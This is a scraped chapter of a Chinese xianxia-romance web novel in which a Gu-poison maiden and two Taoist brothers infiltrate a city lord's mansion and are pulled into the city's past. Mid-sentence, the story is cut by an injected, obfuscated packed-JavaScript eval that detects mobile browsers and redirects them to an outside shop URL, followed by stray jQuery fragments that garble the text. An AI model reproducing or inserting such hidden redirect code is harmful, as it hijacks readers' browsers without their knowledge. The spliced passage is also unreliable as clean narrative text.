123读书网 > 都市小说 > 蛊娘她有两幅面孔 > 11. 火祭(一)
    水牢通道幽森绵长,凝聚的水珠在石壁上敲出空洞回响。


    江余压低声音,头微微偏向池木周道:“你师姐的气息,当真在城主府?”


    “是。”池云安脸上愁容不散,指甲攥得发白,“而且近来,她的气息已有所减弱。”


    “丛儿所言,应该并非虚假。”池木周也面色严肃。


    江余沉默点头。她要的药丸暂且也拿不到手,思及他们先前的帮助,索性回报这份恩情。


    “那我们该如何找到练蛊之地?”


    “夜间防卫虽森严,却也不是毫无懈可击。”池木周眸光略闪,思忖片刻,“西南角的巡逻,换班时候会有一盏茶空隙。”


    夜色四合,黑暗吞没了城主府。


    几个侍卫酒饱饭足后,说笑着走过假石山,准备换班。江余贴在石头后,探出半只眼睛,手指轻弹。


    一缕若有若无的香气散开,江余捂住口鼻,得意地朝池木周扬扬眉毛。不过片刻,几个侍卫眼神慢慢涣散,软软倒地。


    池木周和池云安将几人拖到假山下的阴影,利落地剥下他们身上的衣服。夜色深沉,只剩衣料悉悉索索的摩擦声。


    一件侍卫袍忽从暗处被抛出,不偏不倚地罩在江余头上。


    那衣袍厚重,沉甸甸撞入她的怀中,饶是江余并不娇小,却也被这突如其来的袍子带得踉跄半步。


    “你又这样!”江余手忙脚乱把衣物从头上扯下,咬牙低斥。


    池木周利落整理好自己,回头却看见江余一通手忙脚乱,便伸手想去帮忙。江余一扭身子闪开,语气硬邦邦的:“不劳你操心,我自己可以。”


    侍卫装扮于她而言有些宽大,她好不容易穿上袍子和盔甲,整个人都几乎被埋在衣中,只露出一双眼睛,在朦胧月色下亮晶晶的,显得有些傻气。


    池木周把头撇开,嘴角微微扬起。


    “你笑什么?”江余非常不满,瞪他一眼。


    “笑你傻。”池木周微偏着头看她,嘴角还是噙着一抹笑。


    “池!木!周!”江余上前一步,拳头毫不留情锤向他的肩膀。


    “好好好,你聪明,你最聪明。”池木周准确扣住她的手腕,语气中的调侃半分没少。


    江余一怔,挣开他的手,余怒未消地整理着过长的袖口:“你再笑,等下把你也迷晕!”


    “在下可是领会过毒药粉的威力,岂敢与姑娘作对?”池木周弯腰凑近,一股竹香随之袭来。


    “小天师,你自己说的,男女授受不亲。”江余呼吸一滞,抬手抵住他的胸脯,抬眼瞪他,“再凑近点,我不介意再让你体会一回,被迷晕的感觉。”


    集合的铜锣声恰时砸向夜色,惊扰了清冷的月夜。


    几人低眉敛目,沿着青石小路缓缓前行。有些不起眼的地方,矗立着一些形态奇诡的石雕,在惨淡的月光下,投下扭曲拉长的黑影,宛如蛰伏的巨兽,静静凝视着这群人。


    路经一偏僻小院,艾叶香气从阴冷的角落飘来,绵延不绝。


    那小院木门紧闭,门楣上却挂着一束青葱欲滴的艾叶。一位身形佝偻的老婆婆,枯瘦的手颤颤巍巍拿着柳叶,蘸着瓦罐里的水四处挥洒。嘴里反复碎碎念着:“莫要回来……莫要寻来……”


    江余悄悄扯扯池木周,示意他这小院有些古怪。


    池木周微微颔首,用气声道:“明日去一探究竟。”


    铜壶滴漏,三更已过,远处传来换班的锣声。


    房中,一灯如豆,映着两人全是愁容的脸。


    池木周掩上房门,脸上忧思更重:“师兄,你有没有发现,府中有妖气。”


    “嗯。初来时,府中妖气稀薄,我当是城主取了妖血来练蛊。”池云安负手立于窗旁,沉吟道,“而今妖气之浓郁,定有活妖的存在。”


    “难道,城主还抓了妖来练蛊?”池木周手撑在桌上,眉头紧锁。掌心赫地碰到一物,池木周低头一瞧,是前些天见到的那丑娃娃。


    丑娃娃……怪石雕……


    “师兄,你对阵法排列了解多少?”池木周突然疾步走到书案前。


    “略知一二。”


    池木周迅速铺开府内地图,执笔蘸墨:“还记得我们之前看见的那几个奇怪石像吗?”


    池木周手腕飞动,将它们一一标记在地图上。


    “这些石像的排布,应该是一个阵法,它们似乎还可以随机组合。”


    “我方才注意到,有些石像的位置,较我们初来府中之时所见,已有所改变。”


    池木周指尖点着石像的位置:“若随机排列组合,阵法的中心,可以落在什么地方?”


    池云安俯身细看,圈出纸上的几个地方,脸色慢慢变沉:“这阵法中心,怎么皆与死者殒命之处相重合?”


    “难道……真正的死因还另有蹊跷?”池木周心中浮出一个大胆的猜测。


    尸体尚未下葬,两人趁浓重夜色,再次潜入敛房。敛房内的灯笼被开门声惊扰,猛地摇晃几下。


    池云安从袖中拿出一柄薄制小刀,对着蒙着白布的尸体躬身一拜,声音沉肃:“事急从权,冒犯了。”


    说罢,利落地划破死者僵冷的腹部。


    池木周指尖捻起一张符纸,低头暗暗掐诀,符纸瞬间化作灰烬,飘入死者腹中。


    不多时,死者腹中果然有一处泛起幽幽的冷光。


    池云安拿着镊子小心翼翼地探入,夹出一片薄壳。


    “这是蛊虫脱壳逃出后留下的。”池木周声音发紧。


    “暗处还有其他凶手!”


    “你何时对蛊虫有此等了解了?”池云安疑惑地抬眼看他。


    “前几日听江余提过类似的情形,刚好记住了。”池木周垂眸,拍去手中的粉尘。


    破晓的晨光稀释了薄雾,湿润的泥土腥气在风中浮动。


    小院那处,传来竹帚扫过青石的沙沙声,一老妇正佝偻着背,细细洒扫。


    江余眉眼一弯,缓步上前。“婆婆,我的东西好像掉进那个落锁的院子了,您能帮忙开下门吗?”


    老妇闻言,忙忙摆手,带着惶恐:“姑娘,可使不得,那东西不要也罢,里头闹鬼呢。”


    “闹鬼?”


    “你是不知道,里面有口井,好些人在那里寻了短见。好些人说,半夜总听到那里传来鬼哭狼嚎,呜呜咽咽,凄厉得很呢。”老妇压低声音,神秘兮兮说道,“城主嫌阴气太重,索性叫人封死了。”


    老妇生怕沾染邪祟,打扫完便匆匆拎着扫帚离开了,只留下一个匆惶的背影。


    江余弯腰俯身,凑近那扇斑驳的木门,鼻尖轻嗅,一股混合着灰尘和艾草的味道扑面而来。


    “昨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816331|190901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜那婆婆估计洒的是艾叶水。”江余掰着指头算了算,“说起来,月圆之夜将近,阴气确实也越加浓烈了。”


    门前疯草丛生,淹过半人,蛛网层层叠叠,坠着露珠。


    “门轴很新,门缝也没有蛛网,定有人频繁出没。”池木周摸摸门轴,在手上捻捻。


    荒院中,也是断壁残垣。


    三人分头细细搜寻,却没见任何类似暗道的地方。


    “我那边也没有。”江余也无奈耸肩摊手,衣摆扫过地上的杂草。


    “怎么也没见那口井……”思及老妇所言,池木周环顾四周,有些疑惑。


    断墙寂寂,荒草萋萋,一时只有风穿过的沙沙声。


    江余来回踱步,忽然脚下踢到一个硬物。俯身拨开杂草一看,是一块青石,看起来有些年头了。


    “你们看,这会不会是密室开关?”


    三人围拢过来,池木周屏息凝神,伸手去按。


    周遭狂风毫无征兆拔地而起,四周景物如水中倒影被打散,视野中的一切都在被撕扯。


    天旋地转间,几人重重摔落在一条陌生又熟悉的长街,喧闹声如潮水般涌入耳中。


    “诶,不疼!”


    “你当然不疼……”身下传来池木周闷闷的声音。


    江余才后知后觉,自己整个人横压在他身上。他的马尾平日里总是梳得又高又挺,现在却松散下来,几缕发丝凌乱地贴在脖颈上,更衬得他肤色白皙。


    “以前怎么没发现,他生得怪俊俏的……”江余怔怔地想着,“可惜,长了一张利嘴。”


    “你还不给我起来!”


    “噢噢噢,没注意,实在不好意思。”江余这才手忙脚乱撑起身子,跪坐在一旁,冲他眨着眼睛。


    长街两旁,店铺林立。酒肆门口的灯笼轻轻摇晃,布庄里面的绸缎流光溢彩。行人摩肩接踵,都洋溢着几分喜悦。


    江余尚在茫然四顾,一小姑娘梳着双环髻,举着糖葫芦,咯咯笑着,从他们身边跑过。经过江余时,还不轻不重地撞了一下她,亮晶晶的糖渍险些蹭上江余浅色的衣袖。


    江余目瞪口呆看着这条生机勃勃的街,用力在池木周的胳膊上掐了一把:“疼不?”


    “你说呢?松开你的爪子。”池木周俊朗的眉头皱起,拍开她的手,“小鞭炮,你力气倒真不小。”


    “这里是……红绡城?”江余仍不可置信。这欣欣向荣的模样,和阴森鬼城哪里扯的上半分关系?


    “准确的说,应该是过去的红绡城。”池木周不轻不重弹弹江余的脑门,“我们很不幸,触发了某个禁制,被拽入了此处。”


    说话间,一身穿华丽衣裳的年轻男子,拨开人群跑过来。他目光仓惶,拉住池木周,急急比划着:“这位兄弟,打扰一下。可曾见过一小姑娘,大约这么高,头上扎着两根红头绳,穿着杏黄衣衫。”


    池木周抬手,指向刚刚那小姑娘跑走的方向:“好像往那边去了。”


    那人不敢多耽误,道了声谢,便匆匆追上去了。


    池木周望着那人离开的背影,若有所思道:“小鞭炮,我怎么觉得,你与方才那人,眉眼轮廓有些相似?”


    “啊?”江余拍打着身上的尘灰,将一缕碎发别到耳后,大大咧咧向前走去:“这有何奇怪,天下之大,总会有几人长得有些相像的。”